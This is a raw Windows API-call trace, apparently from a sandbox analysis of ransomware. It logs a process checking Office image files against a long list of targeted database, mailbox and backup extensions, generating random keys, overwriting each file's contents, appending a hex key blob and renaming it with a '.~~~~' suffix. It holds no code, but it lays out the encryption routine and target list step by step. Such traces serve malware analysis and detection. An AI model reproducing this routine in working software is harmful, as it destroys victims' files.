	[0143.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".MDF") returned 0x0
	[0143.593] lstrlenW (lpString=".bdb") returned 4
	[0143.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".bdb") returned 0x0
	[0143.593] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.593] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0143.594] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.594] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.595] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26358488831) returned 1
	[0143.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbeff2bd0, dwHighDateTime=0x1d60e1e)) 
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809e98
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809e98 | out: hHeap=0x300000) returned 1
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab8a0
	[0143.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab8a0 | out: hHeap=0x300000) returned 1
	[0143.596] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.596] GetLastError () returned 0x0
	[0143.596] GetLastError () returned 0x0
	[0143.596] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.596] GetLastError () returned 0x0
	[0143.597] GetLastError () returned 0x0
	[0143.597] ReadFile (in: hFile=0x138, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x25dfec0*=0x1ba1, lpOverlapped=0x0) returned 1
	[0143.599] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe45f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.599] WriteFile (in: hFile=0x138, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x1ba1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x25dfec0*=0x1ba1, lpOverlapped=0x0) returned 1
	[0143.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0143.600] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.600] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.600] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.600] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.600] CloseHandle (hObject=0x138) returned 1
	[0143.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab8a0
	[0143.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif.~~~~")) returned 1
	[0143.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab8a0 | out: hHeap=0x300000) returned 1
	[0143.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.607] GetLastError () returned 0x0
	[0143.607] RtlWakeConditionVariable () returned 0x0
	[0143.607] GetCurrentThreadId () returned 0x9f4
	[0143.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".scr") returned 0x0
	[0143.608] lstrlenW (lpString=".cmd") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".cmd") returned 0x0
	[0143.608] lstrlenW (lpString=".dll") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dll") returned 0x0
	[0143.608] lstrlenW (lpString=".bat") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".bat") returned 0x0
	[0143.608] lstrlenW (lpString=".cpl") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".cpl") returned 0x0
	[0143.608] lstrlenW (lpString=".sys") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".sys") returned 0x0
	[0143.608] lstrlenW (lpString=".msc") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".msc") returned 0x0
	[0143.608] lstrlenW (lpString=".com") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".com") returned 0x0
	[0143.608] lstrlenW (lpString=".lnk") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".lnk") returned 0x0
	[0143.608] lstrlenW (lpString=".msp") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".msp") returned 0x0
	[0143.608] lstrlenW (lpString=".pif") returned 4
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".pif") returned 0x0
	[0143.608] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.611] lstrlenW (lpString=".sqb") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".sqb") returned 0x0
	[0143.611] lstrlenW (lpString=".ost") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".ost") returned 0x0
	[0143.611] lstrlenW (lpString=".txt") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".txt") returned 0x0
	[0143.611] lstrlenW (lpString=".mdt") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".mdt") returned 0x0
	[0143.611] lstrlenW (lpString=".BDB") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".BDB") returned 0x0
	[0143.611] lstrlenW (lpString=".eql") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".eql") returned 0x0
	[0143.611] lstrlenW (lpString=".DBF") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DBF") returned 0x0
	[0143.611] lstrlenW (lpString=".EQL") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".EQL") returned 0x0
	[0143.611] lstrlenW (lpString=".FDB") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".FDB") returned 0x0
	[0143.611] lstrlenW (lpString=".EDB") returned 4
	[0143.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".EDB") returned 0x0
	[0143.612] lstrlenW (lpString=".DACPAC") returned 7
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.612] lstrlenW (lpString=".VHD") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".VHD") returned 0x0
	[0143.612] lstrlenW (lpString=".DBV") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DBV") returned 0x0
	[0143.612] lstrlenW (lpString=".dacpac") returned 7
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.612] lstrlenW (lpString=".sdf") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".sdf") returned 0x0
	[0143.612] lstrlenW (lpString=".accdb") returned 6
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".accdb") returned 0x0
	[0143.612] lstrlenW (lpString=".DBX") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DBX") returned 0x0
	[0143.612] lstrlenW (lpString=".MDT") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".MDT") returned 0x0
	[0143.612] lstrlenW (lpString=".SQB") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".SQB") returned 0x0
	[0143.612] lstrlenW (lpString=".vhd") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".vhd") returned 0x0
	[0143.612] lstrlenW (lpString=".bac") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".bac") returned 0x0
	[0143.612] lstrlenW (lpString=".mdf") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".mdf") returned 0x0
	[0143.612] lstrlenW (lpString=".BAK") returned 4
	[0143.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".BAK") returned 0x0
	[0143.613] lstrlenW (lpString=".BAC") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".BAC") returned 0x0
	[0143.613] lstrlenW (lpString=".dbs") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dbs") returned 0x0
	[0143.613] lstrlenW (lpString=".vhdx") returned 5
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.613] lstrlenW (lpString=".NDF") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".NDF") returned 0x0
	[0143.613] lstrlenW (lpString=".dat") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dat") returned 0x0
	[0143.613] lstrlenW (lpString=".DBS") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DBS") returned 0x0
	[0143.613] lstrlenW (lpString=".CKP") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".CKP") returned 0x0
	[0143.613] lstrlenW (lpString=".edb") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".edb") returned 0x0
	[0143.613] lstrlenW (lpString=".PST") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".PST") returned 0x0
	[0143.613] lstrlenW (lpString=".dbf") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dbf") returned 0x0
	[0143.613] lstrlenW (lpString=".SQL") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".SQL") returned 0x0
	[0143.613] lstrlenW (lpString=".pst") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".pst") returned 0x0
	[0143.613] lstrlenW (lpString=".dbv") returned 4
	[0143.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dbv") returned 0x0
	[0143.613] lstrlenW (lpString=".SDF") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".SDF") returned 0x0
	[0143.614] lstrlenW (lpString=".dtxs") returned 5
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.614] lstrlenW (lpString=".db3") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".db3") returned 0x0
	[0143.614] lstrlenW (lpString=".OST") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".OST") returned 0x0
	[0143.614] lstrlenW (lpString=".dbx") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dbx") returned 0x0
	[0143.614] lstrlenW (lpString=".DB3") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DB3") returned 0x0
	[0143.614] lstrlenW (lpString=".DAT") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DAT") returned 0x0
	[0143.614] lstrlenW (lpString=".VHDX") returned 5
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.614] lstrlenW (lpString=".ndf") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".ndf") returned 0x0
	[0143.614] lstrlenW (lpString=".DB") returned 3
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DB") returned 0x0
	[0143.614] lstrlenW (lpString=".sql") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".sql") returned 0x0
	[0143.614] lstrlenW (lpString=".MYD") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".MYD") returned 0x0
	[0143.614] lstrlenW (lpString=".DBT") returned 4
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DBT") returned 0x0
	[0143.614] lstrlenW (lpString=".ACCDB") returned 6
	[0143.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.614] lstrlenW (lpString=".fdb") returned 4
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".fdb") returned 0x0
	[0143.615] lstrlenW (lpString=".bak") returned 4
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".bak") returned 0x0
	[0143.615] lstrlenW (lpString=".myd") returned 4
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".myd") returned 0x0
	[0143.615] lstrlenW (lpString=".DTXS") returned 5
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.615] lstrlenW (lpString=".ckp") returned 4
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".ckp") returned 0x0
	[0143.615] lstrlenW (lpString=".dbt") returned 4
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".dbt") returned 0x0
	[0143.615] lstrlenW (lpString=".db") returned 3
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".db") returned 0x0
	[0143.615] lstrlenW (lpString=".TXT") returned 4
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".TXT") returned 0x0
	[0143.615] lstrlenW (lpString=".MDF") returned 4
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".MDF") returned 0x0
	[0143.615] lstrlenW (lpString=".bdb") returned 4
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".bdb") returned 0x0
	[0143.615] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.616] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0143.617] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.617] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.617] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26360729736) returned 1
	[0143.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf018d30, dwHighDateTime=0x1d60e1e)) 
	[0143.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809e60
	[0143.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809e60 | out: hHeap=0x300000) returned 1
	[0143.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab558
	[0143.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab558 | out: hHeap=0x300000) returned 1
	[0143.618] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.618] GetLastError () returned 0x0
	[0143.619] GetLastError () returned 0x0
	[0143.619] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.619] GetLastError () returned 0x0
	[0143.619] GetLastError () returned 0x0
	[0143.619] ReadFile (in: hFile=0x138, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x25dfec0*=0x2395, lpOverlapped=0x0) returned 1
